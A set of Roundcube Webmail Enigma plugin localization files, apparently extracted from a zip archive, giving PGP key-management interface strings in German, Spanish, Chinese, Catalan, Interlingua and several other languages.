$labels['signdefault'] = 'Nachrichten immer signieren';
$labels['encryptdefault'] = 'Nachrichten immer verschlüsseln';
$labels['attachpubkeydefault'] = 'Öffentlichen Schlüssel in der Nachricht anfügen';
$labels['passwordtime'] = 'Private Schlüssel behalten für';
$labels['nminutes'] = '$m Minuten';
$labels['wholesession'] = 'die gesamte Sitzung';
$labels['createkeys'] = 'Neues Schlüsselpaar erstellen';
$labels['importkeys'] = 'Schlüssel importieren';
$labels['exportkeys'] = 'Schlüssel exportieren';
$labels['keyactions'] = 'Aktionen...';
$labels['keyremove'] = 'Entfernen';
$labels['keydisable'] = 'Deaktivieren';
$labels['keyrevoke'] = 'Widerrufen';
$labels['keysend'] = 'Öffentlichen Schlüssel versenden';
$labels['keychpass'] = 'Passwort ändern';
$labels['keyadd'] = 'Schlüssel hinzufügen';
$labels['newkeyident'] = 'Identität';
$labels['newkeypass'] = 'Passwort';
$labels['newkeypassconfirm'] = 'Passwort bestätigen';
$labels['newkeytype'] = 'Schlüsseltyp';
$labels['rsa2048'] = 'RSA - 2048 Bit';
$labels['rsa4096'] = 'RSA - 4096 Bit';
$labels['ecckeypair'] = 'ECC (Elliptische Kurve)';
$labels['keygenerating'] = 'Schlüssel generieren...';
$labels['encryptionoptions'] = 'Verschlüsselungsoptionen';
$labels['encryptmsg'] = 'Diese Nachricht verschlüsseln';
$labels['signmsg'] = 'Diese Nachricht digital signieren';
$labels['sendunencrypted'] = 'Unverschlüsselt senden';
$labels['enterkeypasstitle'] = 'Bitte Schlüssel Passwort eingeben';
$labels['enterkeypass'] = 'Ein Passwort wird benötigt um den privaten Schlüssel ($keyid) für Benutzer: $user zu entsperren';
$labels['attachpubkeymsg'] = 'Meinen öffentlichen Schlüssel anfügen';
$labels['keyexportprompt'] = 'Möchten Sie geheime Schlüssel in die gespeicherte OpenPGP-Schlüsseldatei mit aufnehmen?';
$labels['onlypubkeys'] = 'Nur öffentliche Schlüssel exportieren';
$labels['withprivkeys'] = 'Geheime Schlüssel exportieren';
$labels['findkey'] = 'Auf Schlüsselserver(n) suchen';
$labels['keyimportlabel'] = 'Aus Datei importieren';
$labels['keyimportsearchlabel'] = 'Auf Schlüsselserver(n) suchen';
$labels['managekeys'] = 'PGP-Schlüssel verwalten';
$labels['identitymatchingprivkeys'] = 'Für diesen Absender sind $nr private Schlüssel in Ihrem Schlüsselbund gespeichert:';
$labels['identitynoprivkeys'] = 'Für diesen Absender existiert noch kein PGP Schlüsselpaar in Ihrem  Schlüsselbund.';
$labels['arialabelkeyexportoptions'] = 'Optionen für Schlüsselexport';
$labels['arialabelkeysearchform'] = 'Schlüsselsuche';
$labels['arialabelkeyoptions'] = 'Schlüssel-Optionen';
$messages['sigvalid'] = 'Signatur von $sender wurde erfolgreich überprüft.';
$messages['sigvalidpartial'] = 'Signatur von $sender wurde überprüft, aber ein Teil der Nachricht wurde nicht signiert.';
$messages['siginvalid'] = 'Ungültige Signatur von $sender.';
$messages['sigunverified'] = 'Unbestätigte Signatur. Zertifikat nicht überprüft. Zertifikat-ID: $keyid. ';
$messages['signokey'] = 'Unbestätigte Signatur. Öffentlicher Schlüssel wurde nicht gefunden. Schlüssel-ID: $keyid.';
$messages['sigerror'] = 'Unbestätigte Signatur. Interner Fehler.';
$messages['decryptok'] = 'Nachricht entschlüsselt.';
$messages['decrypterror'] = 'Entschlüsselung fehlgeschlagen.';
$messages['decryptnokey'] = 'Entschlüsselung fehlgeschlagen. Privater Schlüssel wurde nicht gefunden. Schlüssel-ID: $keyid.';
$messages['decryptnomdc'] = 'Entschlüsselung übersprungen. Nachricht ist nicht integritätsgeschützt.';
$messages['decryptbadpass'] = 'Entschlüsselung fehlgeschlagen. Passwort ungültig.';
$messages['decryptnopass'] = 'Entschlüsselung fehlgeschlagen. Schlüsselpasswort wird benötigt.';
$messages['decryptpartial'] = 'Nachricht entschlüsselt, aber ein Teil der Nachricht wurde nicht verschlüsselt.';
$messages['signerror'] = 'Signierung fehlgeschlagen.';
$messages['signnokey'] = 'Signierung fehlgeschlagen. Privater Schlüssel wurde nicht gefunden.';
$messages['signbadpass'] = 'Signierung fehlgeschlagen. Passwort ungültig.';
$messages['signnopass'] = 'Signierung fehlgeschlagen. Schlüsselpasswort wird benötigt.';
$messages['encrypterror'] = 'Verschlüsselung fehlgeschlagen.';
$messages['encryptnokey'] = 'Verschlüsselung fehlgeschlagen. Öffentlicher Schlüssel für $email nicht gefunden';
$messages['encryptnoprivkey'] = 'Verschlüsselung fehlgeschlagen. Privater Schlüssel nicht gefunden.';
$messages['nokeysfound'] = 'Keine Schlüssel gefunden';
$messages['keynotfound'] = 'Schlüssel nicht gefunden!';
$messages['keyopenerror'] = 'Abrufen der Schlüsselinformationen nicht möglich. Interner Fehler.';
$messages['keylisterror'] = 'Auflisten der Schlüsselinformationen nicht möglich! Interner Fehler.';
$messages['keysimportfailed'] = 'Schlüsselimport fehlgeschlagen! Interner Fehler.';
$messages['keysimportsuccess'] = 'Schlüsselimport erfolgreich. Importiert: $new, unverändert: $old.';
$messages['keyremoving'] = 'Schlüssel entfernen...';
$messages['keyremoveconfirm'] = 'Bist du dir sicher, dass du die ausgewählten Schlüssel entfernen willst?';
$messages['keyremovesuccess'] = 'Schlüssel erfolgreich gelöscht.';
$messages['keyremoveerror'] = 'Löschung der Schlüssel nicht möglich.';
$messages['keyimporttext'] = 'Private und öffentliche Schlüssel sowie zurückgerufene Signaturen können im ASCII-Armor Format importiert werden.';
$messages['keyimportsearchtext'] = 'Sie können für öffentliche Schlüssel nach dem Schlüsselbezeichner, Benutzername oder der E-Mail-Adresse suchen und diese dann direkt importieren.';
$messages['keystoragenotice'] = 'Alle öffentlichen und privaten Schlüssel werden auf dem Server gespeichert.';
$messages['formerror'] = 'Bitte, alle Eingabefelder ausfüllen. Alle Eingabefelder werden benötigt!';
$messages['passwordsdiffer'] = 'Passwörter stimmen nicht überein.';
$messages['keygenerateerror'] = 'Schlüsselgenerierung fehlgeschlagen.';
$messages['keygeneratesuccess'] = 'Schlüsselpaar erfolgreich generiert und importiert.';
$messages['keygennosupport'] = 'Dein Browser unterstützt keine Kryptopgraphiefunktionen. Konnte Schlüsselpaar nicht generieren!';
$messages['noidentselected'] = 'Sie müssen mindestens eine Identität für den Schlüssel auswählen!';
$messages['nonameident'] = 'Identität muss einen Benutzernamen definiert haben.';
$labels['newkeysize'] = 'Schlüssellänge';
$labels['key2048'] = '2048 bits - standard';
$labels['key4096'] = '4096 bits - sicher';
PKh�\��kk&plugins/enigma/localization/es_419.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nombre';
$labels['keyid'] = 'ID de la llave';
$labels['typeencrypt'] = 'Cifrar';
$labels['subkeyid'] = 'ID';
$labels['subkeycreated'] = 'Creado';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconocido';
$labels['userid'] = 'ID';
$labels['keychpass'] = 'Cambiar contraseña';
$labels['newkeypass'] = 'Contraseña';
PKh�\P��=="plugins/enigma/localization/uz.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nomlanishi';
$labels['keyid'] = 'Kalit ID si';
$labels['typeencrypt'] = 'Shiffrlash';
$labels['subkeycreated'] = 'Yaratildi';
$labels['expiresnever'] = 'hech qachon';
$labels['unknown'] = 'noma’lum';
$labels['keychpass'] = 'Parolni almashtirish';
$labels['newkeypass'] = 'Parol';
PKh�\�c�%plugins/enigma/localization/hy_AM.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Անվանում';
$labels['subkeycreated'] = 'Ստեղծված';
$labels['expiresnever'] = 'երբեք';
$labels['unknown'] = 'անհայտ';
$labels['keychpass'] = 'Փոխել գաղտնաբառը';
$labels['newkeypass'] = 'Գաղտնաբառ';
PKh�\�D8{��%plugins/enigma/localization/en_CA.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Name';
$labels['subkeycreated'] = 'Created';
$labels['expiresnever'] = 'never';
$labels['unknown'] = 'unknown';
$labels['newkeypass'] = 'Password';
PKh�\�A��AA%plugins/enigma/localization/zh_TW.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = '加密';
$labels['enigmacerts'] = 'S/MIME 憑證';
$labels['enigmakeys'] = 'PGP 金鑰';
$labels['keysfromto'] = '金鑰:由 $from 至 $to (共 $count 個)';
$labels['keyname'] = '名稱';
$labels['keyid'] = '金鑰 ID';
$labels['keyuserid'] = '使用者 ID';
$labels['keytype'] = '金鑰類型';
$labels['fingerprint'] = '指紋';
$labels['subkeys'] = '子金鑰';
$labels['keyprops'] = '金鑰屬性';
$labels['basicinfo'] = '基本資訊';
$labels['userids'] = '額外使用者';
$labels['typepublickey'] = '公鑰';
$labels['typekeypair'] = '金鑰對';
$labels['keyattfound'] = '本郵件有附帶的 PGP 金鑰';
$labels['keyattimport'] = '匯入金鑰';
$labels['typesign'] = '簽署';
$labels['typeencrypt'] = '加密';
$labels['typecert'] = '認證';
$labels['typeauth'] = '身份核對';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = '演算法';
$labels['subkeycreated'] = '建立時間:';
$labels['subkeyexpires'] = '過期時間:';
$labels['subkeyusage'] = '使用情況';
$labels['expiresnever'] = '從未使用';
$labels['unknown'] = '不明';
$labels['uservalid'] = '有效';
$labels['userid'] = 'ID';
$labels['valid'] = '有效';
$labels['supportencryption'] = '啟用郵件加密及簽署';
$labels['supportsignatures'] = '啟用郵件簽名驗證';
$labels['supportdecryption'] = '啟用郵件解密';
$labels['signdefault'] = '預設簽署所有郵件';
$labels['encryptdefault'] = '預設加密所有郵件';
$labels['attachpubkeydefault'] = '預設附上我的公開 PGP 金鑰';
$labels['passwordtime'] = '為以下項目保留私密金鑰密碼:';
$labels['nminutes'] = '$m 分鐘';
$labels['wholesession'] = '整個工作階段';
$labels['createkeys'] = '建立新的金鑰對';
$labels['importkeys'] = '匯入金鑰';
$labels['exportkeys'] = '匯出金鑰';
$labels['keyactions'] = '金鑰動作...';
$labels['keyremove'] = '移除';
$labels['keydisable'] = '停用';
$labels['keyrevoke'] = '撤銷';
$labels['keysend'] = '在郵件傳送公開金鑰';
$labels['keychpass'] = '更改密碼';
$labels['keyadd'] = '加入金鑰';
$labels['newkeyident'] = '身分';
$labels['newkeypass'] = '使用者密碼';
$labels['newkeypassconfirm'] = '確認密碼';
$labels['newkeytype'] = '金鑰類型';
$labels['rsa2048'] = 'RSA - 2048 位元';
$labels['rsa4096'] = 'RSA - 4096 位元';
$labels['ecckeypair'] = 'ECC(橢圓曲線)';
$labels['keygenerating'] = '正在製作金鑰...';
$labels['encryptionoptions'] = '加密選項...';
$labels['encryptmsg'] = '加密本郵件';
$labels['signmsg'] = '數位簽署本郵件';
$labels['sendunencrypted'] = '以不加密方式傳送';
$labels['enterkeypasstitle'] = '輸入金鑰密語';
$labels['enterkeypass'] = '需要密語才能為使用者 $user 解鎖密鑰 ($keyid)';
$labels['attachpubkeymsg'] = '附上我的公開金鑰';
$labels['keyexportprompt'] = '是否包括儲存在 OpenPGP 金鑰檔案的密鑰?';
$labels['onlypubkeys'] = '僅匯出公開金鑰';
$labels['withprivkeys'] = '匯出密鑰';
$labels['findkey'] = '在金鑰伺服器搜尋';
$labels['keyimportlabel'] = '從檔案匯入';
$labels['keyimportsearchlabel'] = '在金鑰伺服器搜尋';
$labels['managekeys'] = '管理 PGP 金鑰';
$labels['identitymatchingprivkeys'] = '您的鑰匙圈有 $nr 個符合的 PGP 私鑰:';
$labels['identitynoprivkeys'] = '傳送者的身分不符合您鑰匙圈中 PGP 私鑰的任何一個。';
$labels['arialabelkeyexportoptions'] = '金鑰匯出選項';
$labels['arialabelkeysearchform'] = '金鑰搜尋表格';
$labels['arialabelkeyoptions'] = '金鑰選項';
$messages['sigvalid'] = '來自 $sender 的已驗證簽名';
$messages['sigvalidpartial'] = '來自 $sender 的已驗證簽名,但內文部分並未簽署';
$messages['siginvalid'] = '來自 $sender 的無效簽名';
$messages['sigunverified'] = '未驗證的簽名。憑證無驗證。憑證 ID:$keyid';
$messages['signokey'] = '未驗證的簽名。找不到公開金鑰。金鑰 ID:$keyid';
$messages['sigerror'] = '未驗證的簽名。內部出錯';
$messages['decryptok'] = '郵件已解密';
$messages['decrypterror'] = '解密失敗';
$messages['decryptnokey'] = '解密失敗。找不到私密金鑰。金鑰 ID:$keyid';
$messages['decryptnomdc'] = '已略過解密。郵件的整全性並未受到保護。';
$messages['decryptbadpass'] = '解密失敗。密碼無效';
$messages['decryptnopass'] = '解密失敗。必需要金鑰的密碼';
$messages['decryptpartial'] = '郵件已解密,但內文部分未有加密';
$messages['signerror'] = '簽名失敗';
$messages['signnokey'] = '簽名失敗。找不到私密金鑰';
$messages['signbadpass'] = '簽名失敗。密碼無效';
$messages['signnopass'] = '簽名失敗。必須要金鑰密碼';
$messages['encrypterror'] = '加密失敗';
$messages['encryptnokey'] = '加密失敗。找不到用於 $email 的公開金鑰';
$messages['encryptnoprivkey'] = '加密失敗。找不到私鑰。';
$messages['nokeysfound'] = '找不到金鑰';
$messages['keynotfound'] = '找不到金鑰!';
$messages['keyopenerror'] = '無法取得金鑰資訊!內部出錯';
$messages['keylisterror'] = '無法列出金鑰!內部出錯';
$messages['keysimportfailed'] = '無法匯入金鑰!內部出錯';
$messages['keysimportsuccess'] = '成功匯入金鑰。匯入:$new,不變:$old';
$messages['keyremoving'] = '正在移除金鑰...';
$messages['keyremoveconfirm'] = '是否確定要刪除所選的金鑰?';
$messages['keyremovesuccess'] = '成功刪除金鑰';
$messages['keyremoveerror'] = '無法刪除所選的金鑰';
$messages['keyimporttext'] = '可用 ASCII-Armor 格式匯入私密及公開金鑰,或撤銷金鑰';
$messages['keyimportsearchtext'] = '可用金鑰識別碼、使用者名稱或電郵位址搜尋公開金鑰,然後直接匯入';
$messages['formerror'] = '請填好表格,所有欄位都是必須的!';
$messages['passwordsdiffer'] = '密碼不符!';
$messages['keygenerateerror'] = '未能產生金鑰對';
$messages['keygeneratesuccess'] = '成功產生並匯入金鑰對';
$messages['keygennosupport'] = '您的網項瀏覽器不支援加密機制,故此無法產生金鑰對!';
$messages['noidentselected'] = '要為金鑰選取至少一個身份!';
$messages['nonameident'] = '身份必須要有使用者名稱!';
$labels['newkeysize'] = '金鑰大小';
$labels['key2048'] = '2048 位元 - 預設';
$labels['key4096'] = '4096 位元 - 較安全';
PKh�\k��!!%plugins/enigma/localization/ca_ES.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Encriptació';
$labels['enigmacerts'] = 'Certificats S/MIME';
$labels['enigmakeys'] = 'Claus PGP';
$labels['keysfromto'] = 'Claus $from a $to de $count';
$labels['keyname'] = 'Nom';
$labels['keyid'] = 'ID de la clau';
$labels['keyuserid'] = 'ID de l\'usuari';
$labels['keytype'] = 'Tipus de clau';
$labels['fingerprint'] = 'Empremta digital';
$labels['subkeys'] = 'Subclaus';
$labels['keyprops'] = 'Propietats de la clau';
$labels['basicinfo'] = 'Informació bàsica';
$labels['userids'] = 'Usuaris addicionals';
$labels['typepublickey'] = 'clau pública';
$labels['typekeypair'] = 'parella de claus';
$labels['keyattfound'] = 'Aquest missatge conté clau(s) PGP adjunt(s).';
$labels['keyattimport'] = 'Importa clau(s)';
$labels['typesign'] = 'Signa';
$labels['typeencrypt'] = 'Xifra';
$labels['typecert'] = 'Certifica';
$labels['typeauth'] = 'Autenticació';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorisme';
$labels['subkeycreated'] = 'Creat';
$labels['subkeyexpires'] = 'Caduca';
$labels['subkeyusage'] = 'Ús';
$labels['expiresnever'] = 'mai';
$labels['unknown'] = 'desconegut';
$labels['uservalid'] = 'Vàlid';
$labels['userid'] = 'ID';
$labels['valid'] = 'vàlid';
$labels['supportencryption'] = 'Activa l\'encriptació i signat del missatge';
$labels['supportsignatures'] = 'Activa la verificació de les signatures del missatge';
$labels['supportdecryption'] = 'Activa la desencriptació del missatge';
$labels['signdefault'] = 'Signa tots els missatges per defecte';
$labels['encryptdefault'] = 'Xifra tots els missatges per defecte';
$labels['attachpubkeydefault'] = 'Adjunta per defecte la meva clau pública PGP';
$labels['passwordtime'] = 'Conserva les contrasenyes de les claus privades per';
$labels['nminutes'] = '$m minut(s)';
$labels['wholesession'] = 'a tota la sessió';
$labels['createkeys'] = 'Crea un nou parell de claus';
$labels['importkeys'] = 'Importa clau(s)';
$labels['exportkeys'] = 'Exporta clau(s)';
$labels['keyactions'] = 'Accions de les claus...';
$labels['keyremove'] = 'Suprimeix';
$labels['keydisable'] = 'Desactiva';
$labels['keyrevoke'] = 'Revoca';
$labels['keysend'] = 'Envia la clau pública en un missatge';
$labels['keychpass'] = 'Canvia la contrasenya';
$labels['keyadd'] = 'Afegeix una clau';
$labels['newkeyident'] = 'Identitat';
$labels['newkeypass'] = 'Contrasenya';
$labels['newkeypassconfirm'] = 'Confirma la contrasenya';
$labels['newkeytype'] = 'Tipus de clau';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Corba El·líptica)';
$labels['keygenerating'] = 'S\'estan generant les claus...';
$labels['encryptionoptions'] = 'Opcions d\'encriptació...';
$labels['encryptmsg'] = 'Encripta aquest missatge';
$labels['signmsg'] = 'Signa digitalment aquest missatge';
$labels['sendunencrypted'] = 'Envia-ho desxifrat';
$labels['enterkeypasstitle'] = 'Introduïu la contrasenya de la clau';
$labels['enterkeypass'] = 'Cal una contrasenya per desblocar la clau secreta ($keyid) per l\'usuari: $user.';
$labels['attachpubkeymsg'] = 'Adjunta la meva clau pública';
$labels['keyexportprompt'] = 'Voleu incloure claus secretes al fitxer de claus OpenPGP desat?';
$labels['onlypubkeys'] = 'Exporta només claus públiques';
$labels['withprivkeys'] = 'Exporta claus secretes';
$labels['findkey'] = 'Cerca al(s) servidor(s) de claus';
$labels['keyimportlabel'] = 'Importa des de fitxer';
$labels['keyimportsearchlabel'] = 'Cerca al(s) servidor(s) de claus';
$labels['managekeys'] = 'Gestiona les claus PGP';
$labels['identitymatchingprivkeys'] = 'Teniu $nr claus privades PGP coincidents emmagatzemades al vostre anell de claus:';
$labels['identitynoprivkeys'] = 'Aquesta identitat del remitent encara no té cap clau privada PGP emmagatzemada al vostre anell de claus.';
$labels['arialabelkeyexportoptions'] = 'Opcions d’exportació de claus';
$labels['arialabelkeysearchform'] = 'Formulari de cerca de claus';
$labels['arialabelkeyoptions'] = 'Opcions de clau';
$messages['sigvalid'] = 'Signatura verificada des de $sender.';
$messages['sigvalidpartial'] = 'Signatura verificada des de $sender, però no s\'ha signat una part del cos.';
$messages['siginvalid'] = 'Signatura no vàlida des de $sender.';
$messages['sigunverified'] = 'Signatura no verificada. No s\'ha verificat el certificat. Identificador del certificat: $keyid.';
$messages['signokey'] = 'Signatura no verificada. No s\'ha trobat la clau pública. Identificador de clau: $keyid.';
$messages['sigerror'] = 'Signatura no verificada. Error intern.';
$messages['decryptok'] = 'Missatge desxifrat.';
$messages['decrypterror'] = 'Ha fallat el desxifratge.';
$messages['decryptnokey'] = 'Ha fallat el desxifratge. No s\'ha trobat la clau privada. Identificador de clau: $keyid.';
$messages['decryptnomdc'] = 'S\'ha omès el desxifratge. El missatge no està íntegrament protegit.';
$messages['decryptbadpass'] = 'Ha fallat el desxifratge. Contrasenya no vàlida.';
$messages['decryptnopass'] = 'Ha fallat el desxifratge. Es requereix una contrasenya clau.';
$messages['decryptpartial'] = 'El missatge s\'ha desxifrat, però una part del cos no estava encriptada.';
$messages['signerror'] = 'No s\'ha pogut signar.';
$messages['signnokey'] = 'No s\'ha pogut signar. No s\'ha trobat la clau privada.';
$messages['signbadpass'] = 'No s\'ha pogut signar. Contrasenya no vàlida.';
$messages['signnopass'] = 'No s\'ha pogut signar. Es requereix una contrasenya clau.';
$messages['encrypterror'] = 'Ha fallat el xifratge.';
$messages['encryptnokey'] = 'Ha fallat el xifratge. No s\'ha trobat la clau pública per a $email.';
$messages['encryptnoprivkey'] = 'Ha fallat el xifratge. No s\'ha trobat la clau privada.';
$messages['nokeysfound'] = 'No s\'ha trobat cap clau';
$messages['keynotfound'] = 'No s\'ha trobat la clau!';
$messages['keyopenerror'] = 'No es pot obtenir la informació clau!. Error intern.';
$messages['keylisterror'] = 'No es poden mostrar les claus!. Error intern.';
$messages['keysimportfailed'] = 'No es poden importar les claus!. Error intern.';
$messages['keysimportsuccess'] = 'Clau(s) importada/es correctament. Importades: $nou, sense canvis: $antic.';
$messages['keyremoving'] = 'S\'estan suprimint la/es clau(s)...';
$messages['keyremoveconfirm'] = 'Esteu segur de voler suprimir la/es clau(s) seleccionada/es?';
$messages['keyremovesuccess'] = 'La/es clau(s) s\'ha(n) suprimit correctament';
$messages['keyremoveerror'] = 'No es poden suprimir les claus seleccionades.';
$messages['keyimporttext'] = 'Podeu importar claus públiques i privades o signatures de revocació en format ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Podeu cercar claus públiques per l\'identificador de la clau, nom d’usuari o adreça de correu electrònic i després importar-les directament.';
$messages['keystoragenotice'] = 'Totes les claus públiques i privades s’emmagatzemen al servidor.';
$messages['formerror'] = 'Si us plau ompliu el formulari. Tots els camps són obligatoris!';
$messages['passwordsdiffer'] = 'Les contrasenyes no coincideixen!';
$messages['keygenerateerror'] = 'No s\'ha pogut generar un parell de claus';
$messages['keygeneratesuccess'] = 'S\'ha generat i importat correctament un parell de claus.';
$messages['keygennosupport'] = 'El vostre navegador web no admet la criptografia. No es pot generar un parell de claus.';
$messages['noidentselected'] = 'Heu de seleccionar almenys una identitat per a la clau!';
$messages['nonameident'] = 'La identitat ha de tenir un nom d\'usuari definit!';
$labels['newkeysize'] = 'Mida de la clau';
$labels['key2048'] = '2048 bits - per defecte';
$labels['key4096'] = '4096 bits - més segur';
PKh�\9�D--"plugins/enigma/localization/ia.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Cryptographia';
$labels['enigmacerts'] = 'Certificatos S/MIME';
$labels['enigmakeys'] = 'Claves PGP';
$labels['keysfromto'] = 'Claves $from a $to de $count';
$labels['keyname'] = 'Nomine';
$labels['keyid'] = 'ID de clave';
$labels['keyuserid'] = 'ID de usator';
$labels['keytype'] = 'Typo de clave';
$labels['fingerprint'] = 'Impression digital';
$labels['subkeys'] = 'Subclaves';
$labels['basicinfo'] = 'Information basic';
$labels['userids'] = 'Usatores additional';
$labels['typepublickey'] = 'clave public';
$labels['typekeypair'] = 'par de claves';
$labels['keyattfound'] = 'Iste message contine clave(s) PGP attachate.';
$labels['keyattimport'] = 'Importar clave(s)';
$labels['typesign'] = 'Signar';
$labels['typeencrypt'] = 'Cryptar';
$labels['typecert'] = 'Certificar';
$labels['typeauth'] = 'Authentication';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorithmo';
$labels['subkeycreated'] = 'Create';
$labels['subkeyexpires'] = 'Expira';
$labels['subkeyusage'] = 'Usage';
$labels['expiresnever'] = 'nunquam';
$labels['unknown'] = 'incognite';
$labels['uservalid'] = 'Valide';
$labels['userid'] = 'ID';
$labels['valid'] = 'valide';
$labels['supportencryption'] = 'Activar le cryptation e signatura de messages';
$labels['supportsignatures'] = 'Activar le verification de signaturas de messages';
$labels['supportdecryption'] = 'Activar le decryptation de messages';
$labels['signdefault'] = 'Signar tote le messages per option predefinite';
$labels['encryptdefault'] = 'Cryptar tote le messages per option predefinite';
$labels['attachpubkeydefault'] = 'Attachar mi clave PGP public per option predefinite';
$labels['passwordtime'] = 'Memorar le contrasignos de claves private durante';
$labels['nminutes'] = '$m minuta(s)';
$labels['wholesession'] = 'tote le session';
$labels['createkeys'] = 'Crear un nove par de claves';
$labels['importkeys'] = 'Importar clave(s)';
$labels['exportkeys'] = 'Exportar clave(s)';
$labels['keyactions'] = 'Actiones de clave...';
$labels['keyremove'] = 'Remover';
$labels['keydisable'] = 'Disactivar';
$labels['keyrevoke'] = 'Revocar';
$labels['keysend'] = 'Inviar le clave pubic in un message';
$labels['keychpass'] = 'Cambiar contrasigno';
$labels['newkeypass'] = 'Contrasigno';
$labels['newkeytype'] = 'Typo de clave';
$labels['keygenerating'] = 'Genera claves...';
$labels['encryptionoptions'] = 'Optiones de cryptation...';
$labels['encryptmsg'] = 'Cryptar iste message';
$labels['signmsg'] = 'Signar digitalmente iste message';
$labels['sendunencrypted'] = 'Inviar sin cryptation';
$labels['enterkeypasstitle'] = 'Entra le contrasigno del clave';
$labels['enterkeypass'] = 'Un contrasigno es necessari pro disblocar le clave secrete ($keyid) pro le usator: $user.';
$labels['attachpubkeymsg'] = 'Attachar mi clave public';
$labels['keyexportprompt'] = 'Includer le claves secrete in le file de claves OpenPGP a salveguardar?';
$labels['onlypubkeys'] = 'Exportar claves public solmente';
$labels['withprivkeys'] = 'Exportar claves secrete';
$labels['findkey'] = 'Cercar in servitor(es) de claves';
$labels['keyimportlabel'] = 'Importar ab file';
$labels['keyimportsearchlabel'] = 'Cercar in servitor(es) de claves';
$labels['arialabelkeyexportoptions'] = 'Optiones de exportation de claves';
$messages['sigvalid'] = 'Signatura de $sender verificate.';
$messages['sigvalidpartial'] = 'Signatura de $sender verificate, ma un parte del texto non ha essite signate.';
$messages['siginvalid'] = 'Signatura de $sender invalide.';
$messages['sigunverified'] = 'Signatura non verificate. Certificato non verificate. ID del certificato: $keyid.';
$messages['signokey'] = 'Signatura non verificate. Clave public non trovate. ID del clave: $keyid.';
$messages['sigerror'] = 'Signatura non verificate. Error interne.';
$messages['decryptok'] = 'Message decryptate.';
$messages['decrypterror'] = 'Decryptation fallite.';
$messages['decryptnokey'] = 'Decryptation fallite. Clave private non trovate. ID del clave: $keyid.';
$messages['decryptbadpass'] = 'Decryptation fallite. Contrasigno non valide.';
$messages['decryptnopass'] = 'Decryptation fallite. Contrasigno del clave requirite.';
$messages['decryptpartial'] = 'Le message ha essite decryptate, ma un parte del corpore non esseva cryptate.';
$messages['signerror'] = 'Signatura fallite.';
$messages['signnokey'] = 'Signatura fallite. Clave private non trovate.';
$messages['signbadpass'] = 'Signatura fallite. Contrasigno non valide.';
$messages['signnopass'] = 'Signatura fallite. Contrasigno del clave requirite.';
$messages['encrypterror'] = 'Cryptation fallite.';
$messages['encryptnokey'] = 'Cryptation fallite. Clave public non trovate pro $email.';
$messages['nokeysfound'] = 'Nulle clave trovate';
$messages['keynotfound'] = 'Clave non trovate!';
$messages['keyopenerror'] = 'Incapace de obtener information del clave! Error interne.';
$messages['keylisterror'] = 'Incapace de listar claves! Error interne.';
$messages['keysimportfailed'] = 'Incapace de importar clave(s)! Error interne.';
$messages['keysimportsuccess'] = 'Importation de clave(s) succedite. Importate: $new, non cambiate: $old.';
$messages['keyremoving'] = 'A remover clave(s)...';
$messages['keyremoveconfirm'] = 'Es vos secur de voler deler le clave(s) seligite?';
$messages['keyremovesuccess'] = 'Deletion del clave(s) succedite';
